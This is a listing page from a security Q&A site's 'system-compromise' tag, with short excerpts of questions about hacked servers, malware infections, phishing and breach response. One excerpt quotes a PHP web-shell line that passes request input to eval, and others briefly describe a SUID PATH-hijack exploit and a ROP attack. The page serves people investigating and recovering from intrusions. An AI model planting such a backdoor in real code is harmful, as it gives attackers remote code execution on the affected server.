Questions tagged [system-compromise]
Dealing with a system compromise: your defenses failed, now what?
4
votes
1answer
141 views
How was IronChat compromised?
How was IronChat compromised?
https://hotforsecurity.bitdefender.com/blog/police-crack-encrypted-chat-service-ironchat-and-read-258000-messages-from-suspected-criminals-20530.html
Dutch police ...
-1
votes
1answer
36 views
Are kernel mode drivers harder to compromise? [closed]
Of course the effects of a compromised kernel mode driver are more disastrous, but are they harder to compromise in the first place?
0
votes
2answers
70 views
Best Source of Security Configuration Guidance
Over the years I have used a number of different sources of security configuration guidance for a spectrum of systems including for example:
https://www.cisecurity.org/cis-benchmarks/
https://www....
-1
votes
1answer
98 views
Is it a good idea to have a new laptop just to generate 2FA keys?
I am very concerned about people putting keyloggers or trojans on my computer. That can happen because I use my computers for many things. Work. Playing games. Watching movies. Accessing many ...
1
vote
1answer
121 views
Server protection measures from authorities
I am on a project which is illegal in my nation but is not illegal anywhere in the world. In order not to get a 100yr sentence I should be prepared for seizures and forensics.
I am running a server ...
0
votes
0answers
31 views
Are running systems more susceptible than shut-down systems?
Suppose an attacker gained physical access to a device (a smartphone, for example). Would be be harder for the attacker to perform malicious actions on the phone when the phone is shut down?
I’m ...
2
votes
1answer
87 views
Port Knock logs suggest machine has been compromised?
On my CentOS machine, all my ports are filtered with the Iptables rule:
DROP all -- * * 0.0.0.0/0 0.0.0.0/0
So from the Internet, every port timeouts.
The only way to ...
2
votes
1answer
122 views
SSH Outbound. Tracking down the process
I was pulled up by my ISP in work for having a machine making dozens of outbound SSH connections. I tracked down the machine and took it off the network. Problem is there are several other machines ...
1
vote
0answers
95 views
Firefox directs me to strange chinese error page, is my security compromised?
Today I was working on a project on my localhost ( I'm a web developer ), when I noticed Firefox is showing a message that means I need to login to my ISP before I can start browsing ( The ...
1
vote
1answer
57 views
ROP Attack :Force the program to manipulate an instruction as a gadget
I'm doing basic exploitation test on a simple program with fiew lines of code. I intend to exploit a buffer overflow vulnerability to perform a ROP attack.
To gather the available gadgets I use ...
1
vote
1answer
110 views
SUID exploit and patch
I am working on a SUID root binary "app" that runs a system("ls -la /dir") command. I managed to exploit it by writing a malicious replacement ls that starts a shell, and changed my user's $PATH such ...
73
votes
8answers
17k views
How can Twitter and GitHub be sure that they haven't been hacked?
Yesterday, Twitter anounced that they recently identified a bug that stored passwords unmasked in an internal log. Recently, Github also had a similar bug. In both cases, they claim that nobody had ...
4
votes
1answer
120 views
Being directed to hacked site only when searched through Yahoo
A local wolf sanctuary had just posted a warning on Facebook to not visit their site because it had been hacked. However, it only sends you to the hacked site when searching through Yahoo.
I was ...
0
votes
0answers
97 views
How to stop autogenerating PHP malware on GoDaddy shared hosting?(signature-index.html.bak.bak favicon_**.ico) [duplicate]
I have a GoDaddy shared hosting that has been infected by PHP malware. Every day it autogenerates and renames my index.html to index.html.bak.bak and creates a index.php with the following code:
<?...
1
vote
0answers
90 views
How to forbid hackers on a Joomla website? [closed]
My Joomla website was the victim of a hacker attack recently.
Hackers had access to my server and added some PHP files and mostly modified some index.php files. THe code is unfortunately ...
3
votes
1answer
158 views
My local machine was infected with malware from a clients web server
I have a client that I developed a new site for, it's not live yet because he wanted me to backup the old site first. This was a completely custom "directory" type site and the company that built it (...
4
votes
1answer
161 views
A bot edited all pages on my Wordpress installation
I manage a Wordpress site for an event registration. The site is only active for a few months a year. The rest of the year it's idle, as in it's up, but not actively maintained.
Now the time has come ...
0
votes
1answer
266 views
PHP Backdoor on live server [duplicate]
Suddenly one of our Wordpress websites started sending spam emails and it was blacklisted on MXToolBox. So with the server support I scaned the files and found a strange file called timer.php ...
0
votes
1answer
118 views
How exactly can a public server be compromised? [closed]
I'm in the process of setting up a network and it needs a site for users to be accessible on the internet. I keep reading about not having a public server on a local network, domain etc etc. And that ...
2
votes
2answers
257 views
How to address application database compromise
I recently came across a scenario in an assessment regarding IT security. I am new to this area and my knowledge is limited so I'm not sure if my answer to the scenario is suitable or not. Will really ...
2
votes
2answers
3k views
Weird URL showed when telnet to my server [closed]
I don't know how to ask this because this is something new for me, I try telnet to my server and the output was like this:
Trying <IP>...
Connected to www.tjto6u0e.site.
Escape character is '^]'...
3
votes
3answers
490 views
Improve RDP security: router with VPN or IP whitelist on firewall
I am considering to improve the security setting on our workstation shared within the university lab. We are sharing the workstation among lab members with RDP and got compromised recently. I highly ...
0
votes
3answers
249 views
How can I determine from where injected script came from?
I have a server that currently has been hacked. Files are being created on my server which has content of this type:
if(isset($_REQUEST['oUS'])){/*PJEG*/eval($_REQUEST['oUS']);/*z*/exit;/*Lv*/}
Or ...
3
votes
1answer
235 views
Why would an attacker authenticate to my Google Search Console?
Someone uploaded (I don't know how how but I think via my Wordpress which was outdated for just a day...) a Google Search Console authentication to my server. I just realized this because Google ...
3
votes
3answers
139 views
How to reset account passwords after falling victim to password reuse?
I recently had one of my accounts compromised after falling victim to an online phishing scam. To make matters worse, while I've used unique passwords for any account created in the past few years, my ...
1
vote
2answers
548 views
I'm using SSH with key based authentication and I believe my server has been hacked
Today, I saw my server is heavily loaded. When I began digging I saw that someone logged in as root (despite root user not having a password), installed miner, and ran screen.
SSH listening on other ...
15
votes
5answers
6k views
KeePass security local malware
Can a malware that infected your local computer compromise a KeePass database stored locally in any way?
If yes, what's the point for KeePass to have such strong security mechanisms if it cannot ...
4
votes
2answers
868 views
Ransomware - Full disk wipe versus formatting
Typically when I encounter ransomware/cryptoware on a device I will fully wipe the drive(s) with at least one pass using a utility such as DBAN. I sometimes wonder if I am overestimating the potential ...
5
votes
1answer
201 views
Reality check: what actions should be taken if an hack attempt seems to be a false positive
Premise:
Some time ago a friend of mine created a Microsoft based mail account (Live Id/Microsoft Account. He just needed the mail) to use for receiving some messages. The account was created and ...
3
votes
1answer
101 views
One computer on our network was hacked and stole hundreds of accounts on different websites - what are correct steps to take?
Someone in our company long time ago downloaded infected Windows Server copy from torrent site and kept it as test server in our network till now. Recently, our administrator noticed huge outgoing ...
2
votes
0answers
52 views
Empire listener compromised?
I've been messing around with Empire powershell post exploitation toolkit for a little while now. I've been "infecting" my home PC with a malicious payload and trying to gain persistence/admin access, ...
1
vote
0answers
46 views
Can using simultaneous intrusion detection systems (IDS) create conflicts?
Can simultaneously using 2 or more intrusion detection systems (IDS) on the same computer or network create conflicts ?
Talking about tools (as examples) such as but not limited to: tripwire, bro, ...
1
vote
0answers
174 views
security breach: php file edited on codeigniter site, ubuntu server
I run a file sharing site, built on Codeigniter, PHP 7. We recently found one of the files in our www/application/controllers dir was very slightly edited to change a download request for 1 in every 3 ...
0
votes
0answers
45 views
Deny/Identify compromised machine sending information to a server?
i was wondering - consider i have 2 machines - client and server. the Client is opened to the internet, and sends very sensitive data to the server.
If fake data will be sent to the server and is ...
1
vote
0answers
729 views
D-Link DIR-655 router compromised?
I'm trying to secure the home router (DIR-655 h/w version B1) of a family member and want to make sure it isn't already compromised. I installed it for them a few years ago but then didn't have access ...
1
vote
1answer
510 views
Is it safe to use TrueCrypt inside an encrypted Virtualbox guest OS?
In order to minimize potentially compromised software from reading what I'm writing in Veracrypt I want to use the software inside an encrypted guest OS with no Internet, specifically Ubuntu 16.04. ...
-1
votes
1answer
270 views
How to remove malicious code injected into server? [duplicate]
I found some malicious code on my webserver which is exactly similar to this. My questions are:
How can I know from where this code was injected?
How can someone inject code on my server without my ...
3
votes
1answer
138 views
Is it considered “hacking” if there is no authorization implemented? [closed]
Recently came across a theoretical moral dilemma -
The Oxford dictionary defines the computer security form of 'hack'/'hacking' as:
"Gain unauthorized access to data in a system or computer"
...
24
votes
7answers
8k views
A government agency sent our website admin an email that our website had been defaced
We got an official email saying that our website had been hacked. They cited the URL to use to see the new suspicious file that had been dropped in our web root folder (s.htm). Just some text about a "...
0
votes
1answer
148 views
CentOS 6.8 network tools - Is one of these compromised?
I have a CentOS 6.8 system that happens to be running Tripwire (the Open Source version). The system is on an internal network behind a firewall that is not forwarding any incoming connections. I.e. ...
1
vote
2answers
564 views
Shared hosting is hacked [duplicate]
My shared hosting with GoDaddy was hacked by injecting a PHP file (deade6.php) that is recreated every time I delete it. I also tried to modify the .htaccess but it gets recreated as follows:
<...
-5
votes
1answer
181 views
My website got hacked so what are the steps that I must take? [duplicate]
My website had to be shut down on being hacked by some sql injection and some XSS which has shown some of the loop holes in my script I used.
So me being new to such situations My question is what ...
4
votes
2answers
396 views
Phishing e-mail replied to internal email. What is compromised?
We have received a phishing email trying to get money from us, this email came from an account that was spelled closely to our work email but not quite the same.
I have looked up the domain and ...
0
votes
1answer
1k views
PHP Hack Injection - Help to Fix & Understand [duplicate]
We were recently infected with a PHP hack and was hoping you guys could shed some more light on the subject. Mainly how this hack works and how to fix it?
We are moving to a new setup, which ...
0
votes
0answers
88 views
Redis server got compromised
We have a server running redis version 3.2 with Config command disabled and iptable rules only allowing internal IP address to connect with that redis instance.
This particular machine got ...
1
vote
1answer
208 views
Is this machine compromised? (iRedMail server, weird logs)
I'm running an iRedMail server on Ubuntu Xenial. Various utilities email me logs and some entries made me suspicious that the machine is hacked.
11 times:
[2016-11-19 22:20:19 ±3 seconds] password ...
0
votes
0answers
53 views
My Wordpress site was hacked and I can't find a way to fix it [duplicate]
My website (http://nesoiaquawear.com) was hacked and even though the website seems to work as intended, when a user searches google or bing it shows an HTML that is full of links to a Japanese e-shop.
...
1
vote
0answers
39 views
Protection against remote system compromise on binary code level
My (certainly incomplete) understanding of a remote system compromise on the binary code level is roughly:
A program vulnerability, such as missing input validation, is exploited to insert external ...
8
votes
5answers
4k views
How can a PHP file be added over and over to my hacked site?
I'm on a shared hosting plan (I know, I know) on GoDaddy and all the files in it have been hacked. There are multiple sites in the plan, each of them has a folder. The folders and sub-folders of each ...
4
votes
3answers
284 views
I just found out I have unknowingly been sending a password not using SSL, how likely is it that I have been compromised?
I just realized that I have been connecting (sending user name and password) to my production MongoDB database for several weeks using MongoChef (a database GUI) without the SSL option enabled. I ...
